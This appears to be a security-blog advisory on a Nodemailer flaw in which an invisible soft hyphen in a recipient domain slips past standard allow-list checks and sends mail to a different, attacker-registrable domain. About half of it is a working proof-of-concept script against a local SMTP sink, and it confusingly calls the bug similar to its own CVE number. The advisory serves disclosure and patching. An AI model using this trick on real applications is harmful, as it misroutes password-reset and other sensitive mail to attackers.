Listen to this Post
CVE-2025-13033 addresses an interpretation conflict in Nodemailer, where the email library resolves internationalized (IDN/non-ASCII) recipient domains to a different Punycode (xn--label) than UTS-46-conformant parsers like web browsers, the WHATWG URL Standard, Node’s url.domainToASCII, and Python’s idna. The vulnerability resides in the `_normalizeAddress` function within lib/mime-node/index.js, which uses a bundled raw RFC-3492 Punycode codec without any UTS-46 mapping or normalization. Consequently, a domain that a standards-compliant validator maps to a trusted domain can be delivered by Nodemailer to a different, attacker-registrable domain. This weakness is similar to CVE-2025-13033 but is reached through IDN/Punycode rather than quoted local-parts. The mismatch can be triggered with an invisible character (U+00AD SOFT HYPHEN) that UTS-46 folds away to the exact trusted domain string, requiring no visible look-alike or homograph. The vulnerability allows an application that applies a domain allow-list or same-domain check using a normal IDN-aware parser, and then relies on Nodemailer to deliver to that domain, to be induced to send email to an unintended external domain.
The `_normalizeAddress` function splits the address at the last ‘@’ and normalizes the domain. The only normalization applied is .toLowerCase(). It performs none of the UTS-46 “IDNA2008 + compatibility processing” steps, such as removing ignored code points (e.g., U+00AD SOFT HYPHEN), mapping full-width characters, NFC normalization, or validity checks. As a result, Nodemailer’s `punycode.toASCII` produces a different A-label than url.domainToASCII. Nodemailer uses its A-label for the SMTP envelope recipient and the address emitted in headers. Concrete divergences include “victim@compa\u00ADny.com” resolving to “company.com” for parsers but “xn--company-pka.com” for Nodemailer. The fix for CVE-2025-13033 in version 7.0.7 only hardened the quoted-local-part path; this IDN path remains in version 9.0.6 and earlier. The suggested remediation is to perform UTS-46 processing before domain encoding, such as using `url.domainToASCII()` instead of raw punycode.toASCII.
DailyCVE Form:
Platform: Node.js Nodemailer
Version: 9.0.6
Vulnerability: IDN Parsing Discrepancy
Severity: Critical
date: 2026-09-09
Prediction: 2026-10-15
What Undercode Say:
PoC to demonstrate the discrepancy npm init -y && npm install [email protected] node poc-idn.js
Exploit: (Educational Purposes!)
// poc-idn.js
'use strict';
const net = require('net');
const url = require('url');
const nodemailer = require('nodemailer'); // 9.0.6
const TRUSTED = 'company.com';
const RECIPIENT = 'victim@compa\u00ADny.com'; // Invisible U+00AD
const seen = url.domainToASCII(RECIPIENT.split('@').pop());
console.log('validator (url.domainToASCII) sees:', JSON.stringify(seen));
const server = net.createServer(sock => {
let buf = '';
sock.write('220 sink\r\n');
sock.on('data', d => {
buf += d;
let i;
while ((i = buf.indexOf('\r\n')) >= 0) {
const line = buf.slice(0, i);
buf = buf.slice(i + 2);
const u = line.toUpperCase();
if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n');
else if (u.startsWith('RCPT')) {
console.log('nodemailer transmits:', line);
sock.write('250 ok\r\n');
} else if (u.startsWith('DATA')) sock.write('354 go\r\n');
else if (line === '.') sock.write('250 ok\r\n');
else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); }
else sock.write('250 ok\r\n');
}
});
});
server.listen(0, '127.0.0.1', async () => {
const t = nodemailer.createTransport({
host: '127.0.0.1',
port: server.address().port,
secure: false
});
await t.sendMail({
from: '[email protected]',
to: RECIPIENT,
subject: 'reset your password',
text: 'secret link'
});
t.close();
server.close();
});
Protection:
Update to Nodemailer version 9.1.0 or later, which applies UTS-46 processing during domain encoding. As a workaround, applications should implement domain validation using a UTS-46-conformant parser (like url.domainToASCII) and reject any domains where punycode.toASCII(d) !== url.domainToASCII(d).
Impact:
Any application using Nodemailer that relies on domain allow-lists, block-lists, or “same corporate domain” checks implemented with parsers like new URL(), url.domainToASCII, or browser-side checks, and then trusts Nodemailer to deliver to that domain, is vulnerable. This can lead to email misdelivery to attacker-controlled domains, bypassing security controls and potentially enabling phishing, data exfiltration, or unauthorized access.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

